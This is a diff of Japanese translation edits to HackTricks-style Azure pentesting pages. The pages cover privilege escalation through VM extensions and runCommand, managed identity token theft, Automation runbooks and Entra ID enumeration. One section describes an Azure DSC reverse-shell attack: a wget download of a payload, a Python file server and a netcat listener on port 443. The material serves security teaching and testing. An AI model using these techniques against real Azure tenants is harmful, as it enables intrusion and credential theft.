- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/modifyPermissions/action: ブロブの権限を変更します
@@ -4,7 +4,7 @@
## VMS & Network
Azure Virtual Machines と Network に関する詳細情報は、以下を確認してください:
Azure Virtual Machines と Network に関する詳細情報は、以下を確認してください
{{#ref}}
../az-services/vms/
@@ -13,7 +13,7 @@ Azure Virtual Machines と Network に関する詳細情報は、以下を確認
### **`Microsoft.Compute/virtualMachines/extensions/write`**
この権限は、仮想マシンで拡張機能を実行することを許可し、**任意のコードを実行することができます**。\
VM内で任意のコマンドを実行するためにカスタム拡張機能を悪用する例:
VM内で任意のコマンドを実行するためにカスタム拡張機能を悪用する例
{{#tabs }}
{{#tab name="Linux" }}
@@ -157,7 +157,7 @@ Set-AzVMDscExtension `
<summary>ハイブリッドランブックワーカー</summary>
これは、オートメーションアカウントからVM内でランブックを実行することを可能にするVM拡張です。詳細については、[オートメーションアカウントサービス](../az-services/az-automation-account/)を確認してください。
これは、オートメーションアカウントからVM内でランブックを実行することを可能にするVM拡張です。詳細については、[Automation Accounts service](../az-services/az-automation-account/)を確認してください。
</details>
@@ -251,7 +251,7 @@ az vm application set \
### `Microsoft.Compute/virtualMachines/runCommand/action`
これは、Azureが提供する最も基本的なメカニズムであり、**VM内で任意のコマンドを実行することができます:**
これは、AzureがVM内で**任意のコマンドを実行するために提供する最も基本的なメカニズムです:**
{{#tabs }}
{{#tab name="Linux" }}
@@ -310,9 +310,9 @@ Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
## `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
これらはすべて、**特定のマネージドアイデンティティを持つVMを作成し、**ポートを開いたままにする**ために必要な権限です(この場合は22)。これにより、ユーザーはVMを作成し、接続して**マネージドアイデンティティトークンを盗む**ことで権限を昇格させることができます。
これらは、**特定のマネージドアイデンティティを持つVMを作成し、**ポートを開いたままにする**ために必要な権限です(この場合は22)。これにより、ユーザーはVMを作成し、それに接続して**マネージドアイデンティティトークンを盗む**ことで権限を昇格させることができます。
状況に応じて、この技術を悪用するために必要な権限は多かれ少なかれ異なる場合があります
状況に応じて、この技術を悪用するために必要な権限は多いか少ないかもしれません
```bash
az vm create \
--resource-group Resource_Group_1 \
@@ -327,7 +327,7 @@ az vm create \
```
### `Microsoft.Compute/virtualMachines/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
これらの権限は、**VMに新しいマネージドアイデンティティを割り当てる**のに十分です。VMは複数のマネージドアイデンティティを持つことができることに注意してください。**システム割り当てのもの**と、**多くのユーザー管理のアイデンティティ**を持つことができます。\
これらの権限は、**VMに新しいマネージドアイデンティティを割り当てる**のに十分です。VMは複数のマネージドアイデンティティを持つことができます。**システム割り当てのもの**と、**多くのユーザー管理のアイデンティティ**を持つことができます。\
その後、メタデータサービスから各アイデンティティのトークンを生成することが可能です。
```bash
# Get currently assigned managed identities to the VM
@@ -343,7 +343,7 @@ az vm identity assign \
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity1 \
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity2
```
その後、攻撃者は**何らかの方法でVMを侵害する必要があります**。割り当てられた管理されたアイデンティティからトークンを盗むために。**詳細は**を確認してください:
攻撃者は**何らかの方法でVMを侵害する必要があります**。割り当てられた管理されたアイデンティティからトークンを盗むために。**詳細は**を確認してください:
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm
@@ -351,6 +351,6 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
### TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action
[**ドキュメント**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute)によると、この権限は、管理者としてWindows Admin Centerを介してリソースのOSを管理することを許可します。したがって、これはVMを制御するためのWACへのアクセスを提供するようです...
[**ドキュメント**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute)によると、この権限は、Windows Admin Centerを介してリソースのOSを管理することを許可します。したがって、これはVMを制御するためのWACへのアクセスを提供するようです...
{{#include ../../../banners/hacktricks-training.md}}
@@ -62,6 +62,6 @@ return func.HttpResponse(val, status_code=200)
```
## サービスのリスト
**このセクションのページはAzureサービスによって整理されています。ここでは、サービスに関する情報(どのように機能し、どのような能力があるか)や、各サービスを列挙する方法を見つけることができます。**
**このセクションのページはAzureサービスによって整理されています。ここでは、サービスに関する情報(動作方法と機能)や、各サービスを列挙する方法を見つけることができます。**
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,26 +4,26 @@
## App Service 基本情報
Azure App Services は、開発者が **ウェブアプリケーション、モバイルアプリのバックエンド、APIをシームレスに構築、デプロイ、スケール** できるようにします。複数のプログラミング言語をサポートし、機能と管理を強化するためにさまざまなAzureツールやサービスと統合されています。
Azure App Services は、開発者が **ウェブアプリケーション、モバイルアプリのバックエンド、および API をシームレスに構築、展開、スケール** できるようにします。複数のプログラミング言語をサポートし、機能と管理を強化するためにさまざまな Azure ツールやサービスと統合されています。
各アプリはサンドボックス内で実行されますが、隔離はApp Serviceプランに依存します。
各アプリはサンドボックス内で実行されますが、隔離は App Service プランに依存します。
- 無料および共有プランのアプリは共有VMで実行されます。
- スタンダードおよびプレミアムプランのアプリは専用VMで実行されます。
- 無料および共有プランのアプリは共有 VM で実行されます。
- スタンダードおよびプレミアムプランのアプリは専用 VM で実行されます。
> [!WARNING]
> これらの隔離は **他の一般的なウェブ脆弱性**(ファイルアップロードやインジェクションなど)を **防ぐものではない** ことに注意してください。また、**管理アイデンティティ**が使用される場合、**特権を昇格させることができる**可能性があります。
> これらの隔離は **他の一般的なウェブ脆弱性**(ファイルアップロードやインジェクションなど)を **防ぐものではない** ことに注意してください。また、**管理アイデンティティ** が使用されている場合、**特権を昇格させることができる**可能性があります。
### Azure Function Apps
基本的に **Azure Function appsはAzure App Serviceのサブセット** であり、ウェブコンソールにアクセスしてすべてのアプリサービスをリスト表示するか、az cliで `az webapp list` を実行すると、**Function appsもここにリストされているのが確認できます**
基本的に **Azure Function アプリは Azure App Service のサブセット** であり、ウェブコンソールにアクセスしてすべてのアプリサービスをリスト表示するか、az cli `az webapp list` を実行すると、**Function アプリもここにリストされているのが見える**でしょう
実際、App servicesが使用するいくつかの **セキュリティ関連機能**az cliの `webapp`)は、**Function appsでも使用されています**。
実際、App Services が使用する **セキュリティ関連機能**az cli `webapp`)は、**Function アプリでも使用されています**。
## 基本認証
ウェブアプリ(通常はAzure Function)を作成する際に、基本認証を有効にするかどうかを指定することが可能です。これは基本的に **アプリケーションのためにSCMとFTPを有効にする** ので、これらの技術を使用してアプリケーションをデプロイすることが可能になります。\
さらに、それらに接続するために、Azureは **ユーザー名、パスワード、URLを取得するためのAPIを提供** しています。
ウェブアプリ(通常は Azure Function)を作成する際に、基本認証を有効にするかどうかを指定することができます。これは基本的に **アプリケーションの SCM と FTP を有効にする** ため、これらの技術を使用してアプリケーションを展開できるようになります。\
さらに、それらに接続するために、Azure **ユーザー名、パスワード、および SCM と FTP サーバーに接続するための URL を取得する API** を提供しています。
- 認証: az webapp auth show --name lol --resource-group lol_group
@@ -87,9 +87,6 @@ az webapp config storage-account list --name <name> --resource-gl_group
# List all the functions
az functionapp list
@@ -1,18 +1,18 @@
# Az - ARM Templates / Deployments
# Az - ARM テンプレート / デプロイメント
{{#include ../../../banners/hacktricks-training.md}}
## 基本情報
[ドキュメントから:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) **Azureソリューションのためのコードとしてのインフラストラクチャを実装する**には、Azure Resource ManagerテンプレートARMテンプレートを使用します。テンプレートは、プロジェクトの**インフラストラクチャ**と構成を**定義**するJavaScriptオブジェクト表記(**JSON**ファイルです。テンプレートは宣言型構文を使用しており、作成するためのプログラミングコマンドのシーケンスを書くことなく、デプロイする意図を述べることができます。テンプレート内では、デプロイするリソースとそのリソースのプロパティを指定します。
[ドキュメントから:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) **Azure ソリューションのためのコードとしてのインフラストラクチャを実装する**には、Azure Resource Manager テンプレート (ARM テンプレート) を使用します。テンプレートは、プロジェクトのための **インフラストラクチャ** と構成を **定義** する JavaScript Object Notation (**JSON**) ファイルです。テンプレートは宣言型構文を使用しており、作成するためのプログラミングコマンドのシーケンスを書くことなく、デプロイする意図を述べることができます。テンプレート内では、デプロイするリソースとそれらのリソースのプロパティを指定します。
### 歴史
アクセスできる場合、将来的にデプロイされる可能性のある**リソースに関する情報**を得ることができます。さらに、**機密情報**を含む**パラメータ**が「**String**としてマークされている場合、**SecureString**の代わりに、**平文**で存在します。
アクセスできる場合、将来デプロイされる可能性のある **リソースに関する情報** を得ることができます。さらに、**機密情報** を含む **パラメータ** が "**String**" としてマークされている場合、**SecureString** の代わりに、**平文** で存在します。
## 機密情報の検索
`Microsoft.Resources/deployments/read`および`Microsoft.Resources/subscriptions/resourceGroups/read`の権限を持つユーザーは、**デプロイメント履歴を読**ことができます。
`Microsoft.Resources/deployments/read` および `Microsoft.Resources/subscriptions/resourceGroups/read` の権限を持つユーザーは、**デプロイメント履歴を読み取る**ことができます。
```powershell
Get-AzResourceGroup
Get-AzResourceGroupDeployment -ResourceGroupName <name>
@@ -4,14 +4,14 @@
## 基本情報
[ドキュメントから:](https://learn.microsoft.com/en-us/azure/automation/overview) Azure Automationは、Azureおよび非Azure環境全体で一貫した管理をサポートするクラウドベースの自動化、オペレーティングシステムの更新、および構成サービスを提供します。プロセス自動化、構成管理、更新管理、共有機能、および異種機能が含まれています。
[From the docs:](https://learn.microsoft.com/en-us/azure/automation/overview) Azure Automationは、Azureおよび非Azure環境全体で一貫した管理をサポートするクラウドベースの自動化、オペレーティングシステムの更新、および構成サービスを提供します。これには、プロセス自動化、構成管理、更新管理、共有機能、および異種機能が含まれます。
これらはAzureの「**スケジュールされたタスク**」のようなもので、**Azure環境**を**管理**、確認、構成するために物事(アクションやスクリプト)を実行することができます。
これらはAzureの「**スケジュールされたタスク**」のようなもので、**Azure環境**を**管理**、確認、構成するために物事(アクションやスクリプト)を実行することができます。
### Run As アカウント
**Run as Account**が使用されると、自己署名証明書を持つAzure AD **アプリケーション**が作成され、**サービスプリンシパル**が作成され、**現在のサブスクリプション**内のアカウントに**Contributor**ロールが割り当てられます(多くの特権があります)。\
MicrosoftはAutomation Accountに**Managed Identity**使用することを推奨しています。
MicrosoftはAutomation Accountに**Managed Identity**使用を推奨しています。
> [!WARNING]
> これは**2023年9月30日に削除され、Managed Identitiesに変更されます。**
@@ -32,11 +32,11 @@ Runbookは、**Azure内のコンテナ**または**ハイブリッドワーカ
ハイブリッドワーカーのジョブは、Windowsでは**SYSTEM**として、Linuxでは**nxautomation**アカウントとして実行されます。\
各ハイブリッドワーカーは**ハイブリッドワーカーグループ**に登録されます。
したがって、**Windowsハイブリッドワーカー**で**Runbook**を実行することを選択できる場合、**System**として外部マシン内で**任意のコマンド**を実行することになります(良いピボット技術です)。
したがって、**Windows Hybrid Worker**で**Runbook**を実行することを選択できる場合、**System**として外部マシン内で**任意のコマンド**を実行することになります(良いピボット技術です)。
## コンプロマイズ状態構成 (SC)
[ドキュメントから:](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) Azure Automation **State Configuration**は、任意のクラウドまたはオンプレミスデータセンターのノードのためにPowerShell Desired State Configuration (DSC) [構成](https://learn.microsoft.com/en-us/powershell/dsc/configurations/configurations)を作成、管理、コンパイルすることを可能にするAzureの構成管理サービスです。このサービスは、[DSCリソース](https://learn.microsoft.com/en-us/powershell/dsc/resources/resources)をインポートし、ターゲットノードに構成を割り当て、すべてクラウド内で行います。Azureポータルで**Configuration Management**の下にある**State configuration (DSC)**を選択することで、Azure Automation State Configurationにアクセスできます。
[From the docs:](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) Azure Automation **State Configuration**は、任意のクラウドまたはオンプレミスデータセンターのノードのためにPowerShell Desired State Configuration (DSC) [構成](https://learn.microsoft.com/en-us/powershell/dsc/configurations/configurations)を記述、管理、コンパイルすることを可能にするAzureの構成管理サービスです。このサービスは、[DSCリソース](https://learn.microsoft.com/en-us/powershell/dsc/resources/resources)をインポートし、ターゲットノードに構成を割り当て、すべてクラウド内で行います。Azureポータルで**Configuration Management**の下にある**State configuration (DSC)**を選択することで、Azure Automation State Configurationにアクセスできます。
これらの構成には**機密情報**が含まれている可能性があります。
@@ -79,7 +79,7 @@ Get-AzAutomationAccount | Get-AzAutomationPython3Package
# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>
```
### Runbook作成する
### Runbook作成
```powershell
# Get the role of a user on the Automation account
# Contributor or higher = Can create and execute Runbooks
@@ -118,34 +118,34 @@ start-sleep 20
($start | Get-AzAutomationJob | Get-AzAutomationJobOutput).Summarynt
```
> [!NOTE]
> 既存のRun Bookを修正することで、ウェブコンソールから同じことを行うことができます。
> 既存のRun Bookを変更することで、ウェブコンソールから同じことを行うことができます。
### 自動化された特権ユーザー作成の設定手順
### 自動化された高権限ユーザー作成の設定手順
#### 1. 自動化アカウントの初期化
#### 1. Automation Accountの初期化
- **必要なアクション:** 新しい自動化アカウントを作成します。
- **特定の設定:** Azure Run As アカウントを作成する」が有効になっていることを確認します。
- **アクションが必要:** 新しいAutomation Accountを作成します。
- **特定の設定:** "Create Azure Run As account"が有効になっていることを確認します。
#### 2. Runbookのインポートと設定
- **ソース:** [MicroBurst GitHubリポジトリ](https://github.com/NetSPI/MicroBurst)からサンプルRunbookをダウンロードします。
- **ソース:** [MicroBurst GitHub Repository](https://github.com/NetSPI/MicroBurst)からサンプルのrunbookをダウンロードします。
- **必要なアクション:**
- Runbookを自動化アカウントにインポートします。
- RunbookをAutomation Accountにインポートします。
- Runbookを公開して実行可能にします。
- RunbookにWebhookを添付し、外部トリガーを有効にします。
#### 3. AzureADモジュールの設定
- **必要なアクション:** 自動化アカウントにAzureADモジュールを追加します。
- **追加ステップ:** すべてのAzure Automationモジュールが最新バージョンに更新されていることを確認します。
- **アクションが必要:** Automation AccountにAzureADモジュールを追加します。
- **追加ステップ:** すべてのAzure Automation Modulesが最新バージョンに更新されていることを確認します。
#### 4. 権限の割り当て
- **割り当てる役割:**
- ユーザー管理者
- サブスクリプションオーナー
- **ターゲット:** 必要な権のためにこれらの役割を自動化アカウントに割り当てます。
- User Administrator
- Subscription Owner
- **ターゲット:** 必要な権のためにこれらの役割をAutomation Accountに割り当てます。
#### 5. 潜在的なアクセス喪失の認識
@@ -2,7 +2,7 @@
{{#include ../../../../banners/hacktricks-training.md}}
**Check the complete post in:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
**完全な投稿を確認してください:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
### リモートサーバー (C2) インフラストラクチャの準備と手順の概要
@@ -14,34 +14,34 @@
- **必要なファイル:** 2つのPowerShellスクリプトが必要です:
1. `reverse_shell_config.ps1`: ペイロードを取得して実行するDesired State Configuration (DSC)ファイル。これは[GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1)から入手可能です。
2. `push_reverse_shell_config.ps1`: VMに設定を公開するためのスクリプトで、[GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1)で入手できます。
2. `push_reverse_shell_config.ps1`: VMに構成を公開するためのスクリプトで、[GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1)で入手できます。
- **カスタマイズ:** これらのファイル内の変数とパラメータは、リソース名、ファイルパス、サーバー/ペイロード識別子を含むユーザーの特定の環境に合わせて調整する必要があります。
#### ステップ 2 — 設定ファイルの圧縮
#### ステップ 2 — 構成ファイルの圧縮
- `reverse_shell_config.ps1``.zip` ファイルに圧縮され、Azure Storage Accountへの転送の準備が整います。
```powershell
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
```
#### Step 3 — ストレージコンテキストの設定とアップロード
#### ステップ 3 — ストレージコンテキストの設定とアップロード
- ZIP形式の構成ファイルは、AzureのSet-AzStorageBlobContent cmdletを使用して、事前定義されたAzure Storageコンテナazure-pentestにアップロードされます。
- ZIP形式の構成ファイルは、AzureのSet-AzStorageBlobContent cmdletを使用して、事前定義されたAzure Storageコンテナazure-pentestにアップロードされます。
```powershell
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
```
#### ステップ 4 — Kali ボックスの準備
- Kali サーバーはGitHub リポジトリから RevPS.ps1 ペイロードをダウンロードします。
- Kali サーバーは GitHub リポジトリから RevPS.ps1 ペイロードをダウンロードします。
```bash
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
```
- スクリプトは、ターゲットのWindows VMとリバースシェルのポートを指定するように編集されます。
#### Step 5 — 設定ファイル公開する
#### ステップ 5 — 設定ファイル公開
- 設定ファイルが実行され、リバースシェルスクリプトがWindows VMの指定された場所にデプロイされます。
#### Step 6 — ペイロードホストし、リスナー設定する
#### ステップ 6 — ペイロードホスティングとリスナー設定
- ペイロードをホストするためにPythonのSimpleHTTPServerが起動され、受信接続をキャプチャするためのNetcatリスナーが設定されます。
```bash
@@ -52,6 +52,6 @@ sudo nc -nlvp 443
#### 結論
このプロセスの成功した実行は、資格情報のダンプや攻撃を複数のVMに拡大するなど、さらなるアクションの可能性を開きます。このガイドは、Azure Automation DSCの領域での継続的な学習と創造性を奨励します。
このプロセスの成功した実行は、資格情報のダンプや攻撃を複数のVMに拡大するなど、さらなるアクションのための多くの可能性を開きます。このガイドは、Azure Automation DSCの領域での継続的な学習と創造性を奨励しています。
{{#include ../../../../banners/hacktricks-training.md}}
@@ -6,7 +6,7 @@
Azure Active Directory (Azure AD) は、Microsoft のクラウドベースのアイデンティティおよびアクセス管理サービスです。これは、従業員がサインインし、Microsoft 365、Azure ポータル、その他の多くの SaaS アプリケーションを含む、組織内外のリソースにアクセスするのを可能にする上で重要です。Azure AD の設計は、**認証、承認、およびユーザー管理**を主に含む、基本的なアイデンティティサービスを提供することに焦点を当てています。
Azure AD の主な機能には、**多要素認証**と**条件付きアクセス**が含まれ、他の Microsoft セキュリティサービスとのシームレスな統合が行われています。これらの機能は、ユーザーのアイデンティティのセキュリティを大幅に向上させ、組織がアクセスポリシーを効果的に実施および強制するのを可能にします。Microsoft のクラウドサービスエコシステムの基本的なコンポーネントとして、Azure AD はユーザーアイデンティティのクラウドベースの管理において重要です。
Azure AD の主な機能には、**多要素認証**と**条件付きアクセス**が含まれ、他の Microsoft セキュリティサービスとのシームレスな統合が行われています。これらの機能は、ユーザーのアイデンティティのセキュリティを大幅に向上させ、組織がアクセスポリシーを効果的に実施および強制するのを支援します。Microsoft のクラウドサービスエコシステムの基本的なコンポーネントとして、Azure AD はユーザーアイデンティティのクラウドベースの管理において重要です。
## 列挙
@@ -149,11 +149,11 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
{{#endtab }}
{{#endtabs }}
Azureに**CLI**を通じてログインする、あなたは**Microsoft**に属する**テナント**からの**Azureアプリケーション**を使用しています。これらのアプリケーションは、あなたのアカウントで作成できるものと同様に、**クライアントID**を持っています。**コンソールで見ることができる許可されたアプリケーションのリスト**にはすべて表示されませんが、**デフォルトで許可されています**。
Azureに**CLI**を通じてログインするとき、あなたは**Microsoft**に属する**テナント**からの**Azureアプリケーション**を使用しています。これらのアプリケーションは、あなたのアカウントで作成できるものと同様に、**クライアントID**を持っています。**コンソールで見ることができる許可されたアプリケーションのリスト**にはすべて表示されませんが、**デフォルトで許可されています**。
例えば、**認証**を行う**PowerShellスクリプト**は、クライアントID **`1950a258-227b-4e31-a9cf-717495945fc2`**を持つアプリを使用します。アプリがコンソールに表示されなくても、システム管理者は**そのアプリケーションをブロック**することができ、ユーザーがそのアプリを介して接続することを防ぐことができます。
例えば、**認証**を行う**PowerShellスクリプト**は、クライアントID**`1950a258-227b-4e31-a9cf-717495945fc2`**を持つアプリを使用します。アプリがコンソールに表示されなくても、システム管理者は**そのアプリケーションをブロック**して、ユーザーがそのアプリを介して接続できないようにすることができます。
しかし、**Azureに接続を許可する他のクライアントID**のアプリケーションも存在します:
しかし、**Azureに接続を許可する他のクライアントID**のアプリケーションもあります:
```powershell
# The important part is the ClientId, which identifies the application to login inside Azure
@@ -191,7 +191,7 @@ az account tenant list
### ユーザー
Entra ID ユーザーに関する詳細情報は、以下を確認してください
Entra ID ユーザーに関する詳細情報は、以下を確認してください:
{{#ref}}
../az-basic-information/
@@ -393,7 +393,7 @@ Get-AzRoleAssignment -ResourceGroupName <resource_group_name>
#### グループにユーザーを追加
グループの所有者は新しいユーザーをグループに追加できます
グループの所有者は新しいユーザーをグループに追加できます
```powershell
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
```
@@ -407,7 +407,7 @@ Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
### サービスプリンシパル
Entra ID サービスプリンシパルに関する詳細情報は、以下を確認してください:
Entra ID サービスプリンシパルに関する詳細情報は、を確認してください:
{{#ref}}
../az-basic-information/
@@ -488,7 +488,7 @@ Headers = @{
<details>
<summary>各エンタープライズアプリクライアントシークレットをリストし、追加を試みる</summary>
<summary>各エンタープライズアプリクライアントシークレットを追加しようとするリスト</summary>
```powershell
# Just call Add-AzADAppSecret
Function Add-AzADAppSecret
@@ -653,21 +653,21 @@ Get-AzADAppCredential
{{#endtabs }}
> [!WARNING]
> **`AppRoleAssignment.ReadWrite`** の権限を持つアプリは、役割を自分に付与することで **グローバル管理者に昇格** できます。\
> 詳細については [**こちらを確認してください**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48) を参照してください
> **`AppRoleAssignment.ReadWrite`** の権限を持つアプリは、役割を自分に付与することで **Global Admin** に **昇格** できます。\
> 詳細については [**こちらを確認してください**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48)。
> [!NOTE]
> アプリケーションがトークンを要求する際にそのアイデンティティを証明するために使用する秘密の文字列は、アプリケーションパスワードです。\
> したがって、この **パスワード** を見つけると、**テナント** 内の **サービスプリンシパル** としてアクセスできます。\
> このパスワードは生成時にのみ表示されることに注意してください(変更することはできますが、再取得することはできません)。\
> **アプリケーション** の **所有者** は、(彼がそれを偽装できるように)**パスワードを追加** できます。\
> これらのサービスプリンシパルとしてのログインは **リスクありとしてマークされず**、**MFAはありません。**
> **アプリケーション** の **所有者** は、(彼がそれを偽装できるように)**パスワード** を追加できます。\
> これらのサービスプリンシパルとしてのログインは **リスクあり** としてマークされず、**MFA** はありません。
一般的に使用される Microsoft のアプリ ID のリストは、[https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) で見つけることができます。
一般的に使用される Microsoft のアプリ ID のリストを見つけることができます [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
### マネージドアイデンティティ
### Managed Identities
マネージドアイデンティティに関する詳細は、以下を確認してください:
Managed Identities についての詳細は、以下を確認してください:
{{#ref}}
../az-basic-information/
@@ -685,7 +685,7 @@ az identity list --output table
### Azure Roles
Azureロールに関する詳細情報は、以下を確認してください
Azure ロールに関する詳細情報は、以下を確認してください:
{{#ref}}
../az-basic-information/
@@ -853,9 +853,9 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
> デバイス (VM) が **AzureAD に参加している** 場合、AzureAD のユーザーは **ログインできる** ようになります。\
> さらに、ログインしているユーザーがデバイスの **オーナー** である場合、彼は **ローカル管理者** になります。
### 管理ユニット
### 管理単位
管理ユニットに関する詳細情報は、以下を確認してください
管理単位に関する詳細情報は、以下を確認してください:
{{#ref}}
../az-basic-information/
@@ -906,7 +906,7 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
### 特権アイデンティティ管理 (PIM)
Azure の特権アイデンティティ管理 (PIM) は、**ユーザーに不必要に過剰な特権が割り当てられるのを防ぐ**のに役立ちます。
Azure の特権アイデンティティ管理 (PIM) は、**不必要にユーザーに過剰な特権が割り当てられるのを防ぐ**のに役立ちます。
PIM が提供する主な機能の一つは、常にアクティブなプリンシパルにロールを割り当てるのではなく、**一定期間(例:6ヶ月)資格を与える**ことができる点です。ユーザーがそのロールをアクティブにしたい場合、必要な特権の時間(例:3時間)を示してリクエストを行う必要があります。その後、**管理者がリクエストを承認する必要があります**。\
ユーザーはまた、**時間を延長する**ようにリクエストすることもできます。
@@ -915,7 +915,7 @@ PIM が提供する主な機能の一つは、常にアクティブなプリン
<figure><img src="../../../images/image (354).png" alt=""><figcaption></figcaption></figure>
PIM が有効になっていると、各ロールに対して次のような特定の要件を設定できます:
PIM が有効になっていると、各ロールに対して次のような特定の要件を設定することができます:
- アクティベーションの最大期間(時間)
- アクティベーション時に MFA を要求
@@ -924,7 +924,7 @@ PIM が有効になっていると、各ロールに対して次のような特
- アクティベーション時にチケット情報を要求
- アクティベートするための承認を要求
- 資格のある割り当ての最大期限
- 特定のアクションがそのロールで発生したときに通知を送信する際の設定がさらに多くあります
- 特定のアクションがそのロールで発生したときに通知を送信するタイミングと送信先に関する多くの設定
### 条件付きアクセス ポリシー <a href="#title-text" id="title-text"></a>
@@ -947,10 +947,10 @@ Entra アイデンティティ保護は、**ユーザーまたはサインイン
### Entra パスワード保護
Entra パスワード保護 ([https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) は、**複数の不成功なログイン試行が発生した場合にアカウントをロックアウトすることによって弱いパスワードの用を防ぐのに役立つ**セキュリティ機能です。\
また、提供する必要ある**カスタムパスワードリストを禁止する**こともできます。
Entra パスワード保護 ([https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) は、**複数の不成功なログイン試行が発生した場合にアカウントをロックアウトすることで、弱いパスワードの用を防ぐのに役立つ**セキュリティ機能です。\
また、提供する必要ある**カスタムパスワードリストを禁止する**こともできます。
これは、クラウドレベルとオンプレミスの Active Directory の両方に**適用できます**
これは、クラウドレベルとオンプレミスの Active Directory の両方に**適用**できます。
デフォルトモードは**監査**です:
@@ -4,14 +4,14 @@
## 基本情報
**Azure Files** は、標準の **SMB (Server Message Block)** および **NFS (Network File System)** プロトコルを介してアクセス可能な共有ファイルストレージを提供する完全管理型のクラウドファイルストレージサービスです。主に使用されるプロトコルはSMBですが、NFS Azureファイル共有はWindowsではサポートされていません([**ドキュメント**](https://learn.microsoft.com/en-us/azure/storage/files/files-nfs-protocol)による)。これにより、複数の仮想マシン(VM)やオンプレミスシステムから同時にアクセスできる高可用性のネットワークファイル共有を作成でき、環境間でシームレスなファイル共有が可能になります。
**Azure Files** は、標準の **SMB (Server Message Block)** および **NFS (Network File System)** プロトコルを介してアクセス可能な共有ファイルストレージを提供する完全管理されたクラウドファイルストレージサービスです。主に使用されるプロトコルはSMBですが、NFS Azureファイル共有はWindowsではサポートされていません([**docs**](https://learn.microsoft.com/en-us/azure/storage/files/files-nfs-protocol)による)。これにより、複数の仮想マシン(VM)やオンプレミスシステムから同時にアクセスできる高可用性のネットワークファイル共有を作成でき、環境間でシームレスなファイル共有が可能になります。
### アクセスティア
### アクセス階層
- **トランザクション最適化**: トランザクションが多い操作に最適化されています。
- **ホット**: トランザクションとストレージのバランスが取れています。
- **クール**: ストレージに対してコスト効果があります。
- **プレミアム**: 低遅延およびIOPS集中的なワークロードに最適化された高性能ファイルストレージです。
- **プレミアム:** 低遅延およびIOPS集中的なワークロードに最適化された高性能ファイルストレージです。
### バックアップ
@@ -19,7 +19,7 @@
- **週次バックアップ**: 指定された曜日と時間(毎週日曜日の19.30)にバックアップポイントが作成され、1週間から200週間保存されます。
- **月次バックアップ**: 指定された日と時間(例:毎月の最初の日曜日の19.30)にバックアップポイントが作成され、1ヶ月から120ヶ月保存されます。
